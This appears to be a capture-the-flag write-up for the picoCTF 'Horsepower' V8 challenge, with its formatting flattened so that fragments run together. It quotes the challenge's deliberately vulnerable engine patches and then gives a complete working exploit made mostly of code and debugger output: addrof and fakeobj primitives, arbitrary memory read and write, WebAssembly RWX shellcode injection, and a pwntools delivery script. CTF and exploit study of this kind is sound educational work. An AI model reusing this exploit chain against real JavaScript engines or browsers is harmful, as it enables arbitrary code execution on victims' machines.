diff --git a/BUILD.gn b/BUILD.gn
index 9482b977e3..6a3f1e2d0f 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1175,6 +1175,7 @@ action("postmortem-metadata") {
}
torque_files = [
+ "src/builtins/array-horsepower.tq",
"src/builtins/aggregate-error.tq",
"src/builtins/array-at.tq",
"src/builtins/array-copywithin.tq",
diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.tq
new file mode 100644
index 0000000000..7ea53ca306
--- /dev/null
+++ b/src/builtins/array-horsepower.tq
@@ -0,0 +1,17 @@
+// Gotta go fast!!
+
+namespace array {
+
+transitioning javascript builtin
+ArraySetHorsepower(
+ js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
+ try {
+ const h: Smi = Cast<Smi>(horsepower) otherwise End;
+ const a: JSArray = Cast<JSArray>(receiver) otherwise End;
+ a.SetLength(h);
+ } label End {
+ Print("Improper attempt to set horsepower");
+ }
+ return receiver;
+}
+}
\ No newline at end of file
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..abfb553864 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -999,6 +999,10 @@ void Shell::ModuleResolutionSuccessCallback(
resolver->Resolve(realm, module_namespace).ToChecked();
}
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+ __asm__("int3");
+}
+
void Shell::ModuleResolutionFailureCallback(
const FunctionCallbackInfo<Value>& info) {
std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2205,14 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
- String::NewFromUtf8Literal(isolate, "global"));
+ // Remove some unintented solutions
+ global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));
-
global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
- global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no way
- // we can terminate cleanly then, so we need a way to hide 'quit'.
if (!options.omit_quit) {
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
}
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
- // Prevent fuzzers from creating side effects.
- if (!i::FLAG_fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
#ifdef V8_FUZZILLI
global_template->Set(
@@ -2243,11 +2221,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
#endif // V8_FUZZILLI
- if (i::FLAG_expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
-
return global_template;
}
@@ -2449,10 +2422,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}
- isolate->SetHostImportModuleDynamicallyCallback(
+ /*isolate->SetHostImportModuleDynamicallyCallback(
Shell::HostImportModuleDynamically);
isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ Shell::HostInitializeImportMetaObject);*/
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..7cf66d285a 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,8 @@ class Shell : public i::AllStatic {
kNoProcessMessageQueue = false
};
+ static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
static bool ExecuteString(Isolate* isolate, Local<String> source,
Local<Value> name, PrintResult print_result,
ReportExceptions report_exceptions,
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index ce3886e87e..6621a79618 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
array_function, DONT_ENUM);
+ SimpleInstallFunction(isolate_, proto, "setHorsepower",
+ Builtins::kArraySetHorsepower, 1, false);
SimpleInstallFunction(isolate_, proto, "concat", Builtins::kArrayConcat, 1,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index b18f5bafac..b466b330cd 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -28,6 +28,9 @@ extern class JSArray extends JSObject {
macro IsEmpty(): bool {
return this.length == 0;
}
+ macro SetLength(l: Smi) {
+ this.length = l;
+ }
length: Number;
}0x2468acf0ArraySetHorsepower(js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
try {
const h: Smi = Cast<Smi>(horsepower) otherwise End;
const a: JSArray = Cast<JSArray>(receiver) otherwise End;
a.SetLength(h);
} label End {
Print("Improper attempt to set horsepower");
}
return receiver;
}
macro SetLength(l: Smi) {
this.length = l;
}
SimpleInstallFunction(isolate_, proto, "setHorsepower",
Builtins::kArraySetHorsepower, 1, false);var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}$gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0xa5e08085179: [JSArray]
- map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0a5e0820ab61 <JSArray[0]>
- elements: 0x0a5e08085161 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x0a5e0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0xa5e080446d1: [String] in ReadOnlySpace: #length: 0x0a5e0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0a5e08085161 <FixedDoubleArray[2]> {
0: 1.5
1: 2.5
}
0xa5e082439f1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0a5e082439c9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0a5e08182405 <Cell value= 1>
- instance descriptors #1: 0x0a5e0820b031 <DescriptorArray[1]>
- transitions #1: 0x0a5e0820b07d <TransitionArray[4]>Transition array #1:
0x0a5e08044fd5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0a5e08243a19 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x0a5e0820ab61 <JSArray[0]>
- constructor: 0x0a5e0820a8f1 <JSFunction Array (sfi = 0xa5e0818ac31)>
- dependent code: 0x0a5e080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1.5, 2.5]
gef➤ x/10gx 0xa5e08085179-1 <--- -1 needed due to pointer tagging!
0xa5e08085178: 0x0804222d082439f1 0x0000000408085161
0xa5e08085188: 0x58f55236080425a9 0x7566280a00000adc
0xa5e08085198: 0x29286e6f6974636e 0x20657375220a7b20
0xa5e080851a8: 0x3b22746369727473 0x6d2041202f2f0a0a
0xa5e080851b8: 0x76696e752065726f 0x7473206c61737265 - map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- properties: 0x0a5e0804222d <FixedArray[0]>gef➤ x/4gx 0x0a5e08085161-1
0xa5e08085160: 0x0000000408042a99 0x3ff8000000000000
0xa5e08085170: 0x4004000000000000 0x0804222d082439f1d8> a.setHorsepower(5)
[1.5, 2.5, , , ]
d8> a[2]
4.763796150676345e-270
d8> ftoi(a[2]).toString(16)
"804222d082439f1"var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}var float_arr = [1.5, 2.5];
float_arr.setHorsepower(3);
var map_float = float_arr[2];
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(2);
var map_obj = obj_arr[1];
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr[1] = map_float; // change to float map
let leak = obj_arr[0]; // read address
obj_arr[1] = map_obj; // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}var map_obj = obj_arr.oob();
var map_obj = obj_arr[1];obj_arr[1] = map_float;var float_arr = [1.5, 2.5];
float_arr.setHorsepower(50);
var float_map = float_arr[2]; // both map and properties
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(50);var obj_arr = [3.5, 3.5, initial_obj];DebugPrint: 0x30e008085931: [JSArray]
- map: 0x30e0082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x30e00820ab61 <JSArray[0]>
- elements: 0x30e008085919 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 50
- properties: 0x30e00804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x30e008085919 <FixedDoubleArray[2]> {
0: 1.5
1: 2.5
}
DebugPrint: 0x30e008085985: [JSArray]
- map: 0x30e008243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x30e00820ab61 <JSArray[0]>
- elements: 0x30e008085979 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 50
- properties: 0x30e00804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x30e008085979 <FixedArray[1]> {
0: 0x30e00808594d <Object map = 0x30e0082459f9>
}
DebugPrint: 0x30e00808594d: [JS_OBJECT_TYPE]
- map: 0x30e0082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x30e008202f11 <Object map = 0x30e0082421b9>
- elements: 0x30e00804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x30e00804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x30e0080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}gef➤ x/6gx 0x30e008085979-1
0x30e008085978: 0x0000000208042205 0x08243a410808594d
0x30e008085988: 0x080859790804222d 0x080425a900000064
0x30e008085998: 0x0000000400000003 0x0000000029386428gef➤ x/20gx 0x30e008085919-1
0x30e008085918: 0x0000000408042a99 0x3ff8000000000000
0x30e008085928: 0x4004000000000000 0x0804222d082439f1
0x30e008085938: 0x0000006408085919 0x082439f1080423d1
0x30e008085948: 0x082459f90804222d 0x0804222d0804222d
0x30e008085958: 0x08045a0100000002 0x0000000000010001
0x30e008085968: 0x080477ed080421f9 0x0000000200000088
0x30e008085978: 0x0000000208042205 0x08243a410808594d
0x30e008085988: 0x080859790804222d 0x080425a900000064
0x30e008085998: 0x0000000400000003 0x0000000029386428
0x30e0080859a8: 0x0000000000000000 0x0000000000000000function addrof(obj) {
obj_arr[0] = obj;
let leak = float_arr[12];
return ftoi(leak);
}
%DebugPrint(initial_obj);
console.log("Leak: 0x" + addrof(initial_obj).toString(16))Leak: 0x8243a410808593d
DebugPrint: 0x28a60808593d: [JS_OBJECT_TYPE]
- map: 0x28a6082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x28a608202f11 <Object map = 0x28a6082421b9>
- elements: 0x28a60804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x28a60804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x28a6080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}return ftoi(leak) & 0xffffffffn;function fakeobj(compressed_addr) {
float_arr[12] = itof(compressed_addr);
return obj_arr[0];
}// store upper 4 bytes of leak
let upper = ftoi(float_arr[12]) & (0xffffffffn << 32n);function fakeobj(compressed_addr) {
float_arr[12] = itof(upper + compressed_addr);
return obj_arr[0];
}// first leak the address
let addr_initial = addrof(initial_obj);
// now try and create an object from it
let fake = fakeobj(addr_initial);
// fake should now be pointing to initial_obj
// meaning fake.a should be 1
console.log(fake.a);gef➤ run --allow-natives-syntax --shell exploit.js
1
V8 version 9.1.0 (candidate)
d8> var arb_rw_arr = [float_map, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
%DebugPrint(arb_rw_arr)[+] Address of Arbitrary RW Array: 0x8085a01
DebugPrint: 0x161c08085a01: [JSArray]
- map: 0x161c082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x161c0820ab61 <JSArray[0]>
- elements: 0x161c080859d9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x161c0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x161c080446d1: [String] in ReadOnlySpace: #length: 0x161c0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x161c080859d9 <FixedDoubleArray[4]> {
0: 4.7638e-270
1: 1.5
2: 2.5
3: 3.5
}function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
// place a fake object over the elements of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array
// size of 2 and elements pointer
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}// test arb_read
let float_map_lower = ftoi(float_map) & 0xffffffffn
console.log("Map at: 0x" + float_map_lower.toString(16))
console.log("Read: 0x" + arb_read(float_map_lower).toString(16));Map at: 0x82439f1
Read: 0xa0007ff2100043dgef➤ x/10gx 0x3f09082439f1-1
0x3f09082439f0: 0x1604040408042119 0x0a0007ff2100043d
0x3f0908243a00: 0x082439c90820ab61 0x080421b90820b031
0x3f0908243a10: 0x0820b07d08182405 0x1604040408042119function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
// place a fake object over the elements of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array
// size of 2 and elements pointer
// initially with the map and a size smi, so 0x8 offset
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}function initial_arb_write(compressed_addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
// Write to index 0
fake[0] = itof(BigInt(val));
}let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
initial_arb_write(float_map_lower, 0x12345678n);gef➤ x/4gx 0xf84082439f1-1
0xf84082439f0: 0x0000000012345678 0x0a0007ff2100043d
0xf8408243a00: 0x082439c90820ab61 0x080421b90820b031var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;gef➤ vmmap
[...]
0x000007106675a000 0x000007106675b000 0x0000000000000000 rwx
[...]gef➤ search-pattern 0x000007106675a000
[+] Searching '\x00\xa0\x75\x66\x10\x07\x00\x00' in memory
[+] In (0x3c108200000-0x3c108280000), permission=rw-
0x3c108211ad4 - 0x3c108211af4 → "\x00\xa0\x75\x66\x10\x07\x00\x00[...]"
[...]function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// overwrite the backing store so the 0x100 bytes can be written to where we want
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x14n;
arb_write(backing_store_addr, addr);
// write the shellcode 4 bytes at a time
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
copy_shellcode(rwx_base, payload);
f();$ ./d8 exploit.js
[+] Address of Arbitrary RW Array: 0x8086551
[+] RWX Region located at 0xf06b12a5000
cat: flag.txt: No such file or directoryfrom pwn import *
with open("exploit.js", "rb") as f:
exploit = f.read()
p = remote('mercury.picoctf.net', 60233)
p.sendlineafter(b'5k:', str(len(exploit)).encode())
p.sendlineafter(b'please!!\n', exploit)
p.recvuntil(b"Stdout b'")
flag = p.recvuntil(b"\\")[:-1]
print(flag.decode())$ python3 deliver.py
[+] Opening connection to mercury.picoctf.net on port 60233: Done
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}
[*] Closed connection to mercury.picoctf.net port 60233// setup
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// addrof and fakeobj
var float_arr = [1.5, 2.5];
float_arr.setHorsepower(50);
var float_map = float_arr[2]; // both map and properties
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(50);
// store upper 4 bytes of leak
let upper = ftoi(float_arr[12]) & (0xffffffffn << 32n);
function addrof(obj) {
obj_arr[0] = obj;
let leak = float_arr[12];
return ftoi(leak) & 0xffffffffn;
}
function fakeobj(compressed_addr) {
float_arr[12] = itof(upper + compressed_addr);
return obj_arr[0];
}
/* test addrof and fakeobj
// first leak the address
let addr_initial = addrof(initial_obj);
// now try and create an object from it
let fake = fakeobj(addr_initial);
// fake should now be pointing to initial_obj
// meaning fake.a should be 1
console.log(fake.a);
*/
// array for access to arbitrary memory addresses
var arb_rw_arr = [float_map, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
// %DebugPrint(arb_rw_arr);
function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
// place a fake object over the elements of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array
// size of 2 and elements pointer
// initially with the map and a size smi, so 0x8 offset
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}
/* test arb_read
let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
console.log("Read: 0x" + arb_read(float_map_lower).toString(16));
*/
// would normally be initial, but we hope and pray
function arb_write(compressed_addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
// Write to index 0
fake[0] = itof(BigInt(val));
}
/* test initial_arb_write
let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
initial_arb_write(float_map_lower, 0x12345678n);
*/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
let rwx_pointer_loc = addrof(wasm_instance) + 0x67n;
let rwx_base = arb_read(rwx_pointer_loc);
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));
//
function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// overwrite the backing store so the 0x100 bytes can be written to where we want
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x14n;
arb_write(backing_store_addr, addr);
// write the shellcode 4 bytes at a time
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
copy_shellcode(rwx_base, payload);
f();
// picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}
The actual challenge
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);0x123456780x1234567800000000BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver())
);
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1) {
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
} else {
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1))
);
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}./d8 --shell ./exploit.jsvar object1 = {a: 20, b: 40};
var object2 = {a: 30, b: 60};$ gdb d8
gef➤ run --allow-natives-syntax
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0x30b708b4dd71: [JSArray]
- map: 0x09bccc0c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2358a3991111 <JSArray[0]>
- elements: 0x30b708b4dd51 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x3659bdb00c71 <FixedArray[0]> {
#length: 0x0418bc0c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x30b708b4dd51 <FixedDoubleArray[2]> {
0: 1.5
1: 2.5
}
0x9bccc0c2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x09bccc0c2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0418bc0c0609 <Cell value= 1>
- instance descriptors #1: 0x2358a3991f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x2358a3991eb9 <TransitionArray[4]>Transition array #1:
0x3659bdb04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x09bccc0c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x2358a3991111 <JSArray[0]>
- constructor: 0x2358a3990ec1 <JSFunction Array (sfi = 0x418bc0caca1)>
- dependent code: 0x3659bdb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1.5, 2.5]
d8>
gef➤ x/4gx 0x30b708b4dd70
0x30b708b4dd70: 0x000009bccc0c2ed9 0x00003659bdb00c71
0x30b708b4dd80: 0x000030b708b4dd51 0x0000000200000000gef➤ x/10gx 0x000030b708b4dd50
